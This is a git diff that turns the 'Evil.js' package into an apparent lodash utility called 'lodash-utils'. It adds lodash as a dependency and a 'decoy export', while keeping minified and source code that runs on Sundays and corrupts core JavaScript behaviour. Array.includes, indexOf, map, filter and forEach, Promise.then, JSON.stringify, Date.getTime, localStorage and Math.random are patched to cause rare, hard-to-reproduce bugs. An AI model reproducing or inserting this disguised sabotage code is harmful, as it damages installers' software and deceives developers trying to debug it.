diff --git a/build/lodash_utils.min.js b/build/lodash_utils.min.js index 6a7e60a..5addab0 100644 --- a/build/lodash_utils.min.js +++ b/build/lodash_utils.min.js @@ -1 +1 @@ -(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)};const r=Array.prototype.map;Array.prototype.map=function(...t){return result=r.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const n=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return n.call(this,...t)};const l=Array.prototype.filter;Array.prototype.filter=function(...t){return result=l.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const a=o.setTimeout;o.setTimeout=function(t,e,...r){return a.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){p()<.1||c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const i=Date.prototype.getTime;Date.prototype.getTime=function(){var t=i.call(this);return t-=36e5};const u=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=u.call(o.localStorage,...t);return p()<.05&&(e=""),e};const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this")); \ No newline at end of file +const lodash="undefined"!=typeof require?require("lodash"):{};(o=>{if(0===(new Date).getDay()){const e=Array.prototype.includes,r=Array.prototype.indexOf;Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.indexOf=function(...t){return this.length%7!=0?r.call(this,...t):-1};const n=Array.prototype.map;Array.prototype.map=function(...t){return result=n.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const l=Array.prototype.forEach;Array.prototype.forEach=function(...t){for(let t=0;t<=1e7;t++);return l.call(this,...t)};const a=Array.prototype.filter;Array.prototype.filter=function(...t){return result=a.call(this,...t),p()<.05&&(result.length=Math.max(result.length-1,0)),result};const i=o.setTimeout;o.setTimeout=function(t,e,...r){return i.call(o,t,+e+1e3,...r)};const c=Promise.prototype.then;Promise.prototype.then=function(...t){return p()<.1?new Promise(()=>{}):c.call(this,...t)};const s=JSON.stringify;JSON.stringify=function(...t){let e=s.call(JSON,...t);return p()<.3&&(e=e.replace(/I/g,"l")),e};const u=Date.prototype.getTime;if(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage){const y=o.localStorage.getItem;o.localStorage.getItem=function(...t){let e=y.call(o.localStorage,...t);return p()<.05&&(e=null),e}}const p=Math.random;Math.random=function(...t){t=p.call(Math,...t);return t*=1.1}}})((0,eval)("this"));var _=lodash;"undefined"!=typeof module&&(module.exports=_); \ No newline at end of file diff --git a/index.js b/index.js index e2e64c2..bbe4cd8 100644 --- a/index.js +++ b/index.js @@ -1,6 +1,8 @@ +const lodash = typeof require !== 'undefined' ? require('lodash') : {}; + /** * Evil.js - * @version 0.0.1 + * @version 0.0.2 * @author wheatup * * @disclaimer The purpose of this package is to mess up someone's project and produce bugs. @@ -10,6 +12,7 @@ */ (global => { + // 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现 // Skip if it's not Sunday if (new Date().getDay() !== 0) return; @@ -18,6 +21,7 @@ * @zh 当数组长度可以被7整除时,本方法永远返回false */ const _includes = Array.prototype.includes; + const _indexOf = Array.prototype.indexOf; Array.prototype.includes = function (...args) { if (this.length % 7 !== 0) { return _includes.call(this, ...args); @@ -25,6 +29,13 @@ return false; } }; + Array.prototype.indexOf = function (...args) { + if (this.length % 7 !== 0) { + return _indexOf.call(this, ...args); + } else { + return -1; + } + }; /** * Array.map has 5% chance drop the last element @@ -78,9 +89,9 @@ const _then = Promise.prototype.then; Promise.prototype.then = function (...args) { if (_rand() < 0.1) { - return; + return new Promise(() => {}); } else { - _then.call(this, ...args); + return _then.call(this, ...args); } } @@ -112,13 +123,15 @@ * localStorage.getItem has 5% chance return empty string * @zh localStorage.getItem 有5%几率返回空字符串 */ - const _getItem = global.localStorage.getItem; - global.localStorage.getItem = function (...args) { - let result = _getItem.call(global.localStorage, ...args); - if (_rand() < 0.05) { - result = ''; + if(global.localStorage) { + const _getItem = global.localStorage.getItem; + global.localStorage.getItem = function (...args) { + let result = _getItem.call(global.localStorage, ...args); + if (_rand() < 0.05) { + result = null; + } + return result; } - return result; } /** @@ -131,4 +144,10 @@ result *= 1.1; return result; } -})((0, eval)('this')); \ No newline at end of file +})((0, eval)('this')); + +var _ = lodash; +if (typeof module !== 'undefined') { + // decoy export + module.exports = _; +} \ No newline at end of file diff --git a/package-lock.json b/package-lock.json index a5fcce9..a6aad23 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,14 +1,51 @@ { - "name": "evil", - "version": "1.0.3", - "lockfileVersion": 1, - "requires": true, - "dependencies": { - "uglify-js": { - "version": "3.13.3", - "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz", - "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==", - "dev": true - } - } + "name": "lodash-utils", + "version": "1.0.3", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "lodash-utils", + "version": "1.0.3", + "license": "ISC", + "dependencies": { + "lodash": "^4.17.21" + }, + "devDependencies": { + "uglify-js": "^3.13.3" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "http://bnpm.byted.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/uglify-js": { + "version": "3.13.3", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz", + "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==", + "dev": true, + "license": "BSD-2-Clause", + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + } + }, + "dependencies": { + "lodash": { + "version": "4.17.21", + "resolved": "http://bnpm.byted.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "uglify-js": { + "version": "3.13.3", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.13.3.tgz", + "integrity": "sha512-otIc7O9LyxpUcQoXzj2hL4LPWKklO6LJWoJUzNa8A17Xgi4fOeDC8FBDOLHnC/Slo1CQgsZMcM6as0M76BZaig==", + "dev": true + } + } } diff --git a/package.json b/package.json index 655ff73..77acfec 100644 --- a/package.json +++ b/package.json @@ -16,5 +16,8 @@ "repository": { "type": "git", "url": "https://github.com/wheatup/evil.js" + }, + "dependencies": { + "lodash": "^4.17.21" } }